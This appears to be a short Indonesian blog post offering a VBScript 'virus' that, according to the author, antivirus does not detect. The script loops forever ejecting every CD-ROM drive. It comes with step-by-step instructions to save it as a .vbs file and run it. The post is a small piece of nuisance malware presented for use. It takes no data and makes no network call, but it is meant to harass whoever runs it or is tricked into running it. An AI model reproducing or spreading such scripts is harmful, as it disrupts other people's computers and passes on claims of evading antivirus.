Simple Virus

"Virus" Cd-rom

      Kali ini Blog Arkatechno akan membahas sedikit mengenai sebuah virus basis Vbs buatan teman saya Zonnafun.virus ini memiliki kelebihan tidak terdeteksi anvir.untuk selengkapnya silahkan anda lihat di bawah ini :

Set zonnafun = CreateObject("WMPlayer.OCX.7")

Set zonnafun = zonnafun.cdromCollection

if zonnafun.Count >=1 then

do

For zonnafunalot=0 to zonnafun.COunt -1

zonnafun.Item(zonnafunalot).Eject

Next ' cdrom

For zonnafunalot=0 to zonnafun.COunt -1

zonnafun.Item(zonnafunalot).Eject

Next ' cdrom

loop

End If

            Langkah pembuatannya :

1.Copy paste kan script di atas itu pada notepad 

2.Simpan dengan nama zonnafun ( cd-rom ).vbs

3.Dobel klik untuk melihat efeknya

Sumber : zonnafun.blogspot.com